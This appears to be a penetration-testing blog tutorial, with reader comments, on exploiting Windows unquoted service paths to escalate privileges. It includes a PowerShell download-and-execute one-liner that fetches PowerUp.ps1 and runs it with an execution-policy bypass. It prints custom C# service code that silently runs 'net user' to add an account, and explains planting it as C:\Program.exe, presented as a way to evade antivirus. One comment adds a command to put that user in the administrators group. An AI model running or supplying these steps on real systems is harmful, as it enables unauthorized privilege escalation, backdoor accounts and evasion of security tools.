Practical Guide to exploiting the unquoted service path vulnerability in Windows
What is the unquoted service path vulnerability in Windows?
When a service in Windows is started, Windows has to try to find it. Usually, this is an easy task because the path is well-defined and contained in quotation marks. Like this example from a commercial VPN service:
Windows has no question about where to find this executable.
However…
If the path contains spaces and is not surrounded by quotation marks, then Windows has to guess where to find your service. Like this for example:
Now Windows has to try to figure out what file the folks at AMD are referring to. Since spaces on the command line could either be a part of the FILE PATH or they could indicate COMMAND-LINE ARGUMENTS.
Here is Windows’ chain of thought:
Are they asking me to run
1 |
“<b>C:\Program.exe</b>” Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe? |
Nope
Are they asking me to run
1 |
“<b>C:\Program Files\ATI.exe”</b> Technologies\ATI.ACE\Fuel\Fuel.Service.exe? |
Nope
Are they asking me to run
1 |
“<b>C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe”</b>? |
Yeah!
So who cares if you can use unquoted paths to execute something?
Well, attackers do. If an attacker has a low level account and wants to escalate privileges, he can look for a service that runs with SYSTEM or ADMINISTRATOR rights and use that service to execute a command of his choice. All he has to do is drop a malicious file named C:\Program.exe and have the file create a new user.
OK Cool. So how do you exploit the vulnerability IRL?
Frequently in engagements, we have to escalate privileges. First thing we need to do is find a service that is vulnerable. Luckily, the evil mastermind HarmJ0y (Twitter: @HarmJ0y) has created some scripts that do exactly that. This command will get you set-up:
1 2 |
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(\ '<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1">https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1</a>'); Invoke-AllChecks |
Here is an example of what you are looking for:
Now, all we need is a way to create a malicious Program.exe to create a new user.
Let’s use Metasploit to create a malicious exe!
We fired up MSFVenom and created an exe payload. Here are some good details on how to do this. Only to find out that this thing needs to be running as a SERVICE and can’t be just a run-of-the-mill EXE. Scratch that. Let’s use Metasploit to create a malicious exe!
Let’s use Metasploit to create a malicious service-exe!
Back to MSFVenom.
1 |
msfvenom --help-formats |
Will give us a list of available payload formats. We add a “-f exe-service” and add the file to the target. Only to find out that their Anti-virus knows metasploit and doesn’t like it. Scratch that Let’s use Metasploit to create a malicious service-exe!
Let’s use Veil-Evasion Framework to bypass AV!
Nothing against Veil, but I couldn’t get it to work right on my Kali machine. It looks like it has a ton of cool features. But each time I ran into problems, I read on the forums someone who has the same problem and the answer is always “Wipe Kali and re-install Veil on a clean OS.” That was not an option in this circumstance. So scratch that Let’s use Veil-Evasion Framework to bypass AV!
Lets use C# to make our own service executable and bypass A/V!
Yes, it has come down to this. After hours of trying to get a malicious executable, we have to build our own. I followed this guide to build a basic service executable in C#. It takes a while but I eventually get one that works. The payload I added to the basic service is underlined below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
private void InitializeComponent() { this.eventLogSimple = new System.Diagnostics.EventLog(); ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).BeginInit(); // // SimpleService // <strong> </strong> <span style="text-decoration: underline;">System.Diagnostics.Process process = new System.Diagnostics.Process()</span>; <span style="text-decoration: underline;">System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();</span> <span style="text-decoration: underline;">startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;</span> <span style="text-decoration: underline;">startInfo.FileName = "cmd.exe";</span> <span style="text-decoration: underline;">startInfo.Arguments = "/C net user mattymcfatty Really1337! /add";</span> <span style="text-decoration: underline;">process.StartInfo = startInfo;</span> <span style="text-decoration: underline;">process.Start();</span> <span style="text-decoration: underline;">this.ServiceName = "Not The Service You Think It Is";</span> ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).EndInit(); } |
* may not be pretty code, but I’ve been working on this waaay to long at this point to care 🙂
**you can find the full project on github here: https://github.com/mattymcfatty/unquotedPoC
I build the EXE. I upload it to the target. I rename it to C:\Program.exe. I restart the vulnerable service and…
…
[drumroll]…
The event logs show that the exploit RAN!!!
Let’s see if we have a new “mattymcfatty” user
PAYDIRT!
Turns out, I learned two things from this endeavor:
- How to exploit the unquoted service path vulnerability to escalate privileges on a Windows system
- But also, how to evade Anti-Virus by building a custom executable
Both are good tricks to keep in your arsenal. Hit me up with comments/questions. Happy Hacking!
For more information, check out the privilege escalation portion of the book The Hacker Playbook 2: Practical Guide To Penetration Testing. It helped me immensely in getting this exploit working.
Thanks for the article. I’ve starred this on Github. I was wondering why you added a user but stopped short of adding the user to the local administrators group? Would that be as simple as appending “&& net localgroup administrators mattymcfatty /add” to the command?. Thanks
How you createted the C:\Programs.exe? Usually you should need admin rights to write a file direct to C:\
Thanks for share your work, im looking for some exploit similar for windows 10 and 7 updated, but i have no luck, i will searching.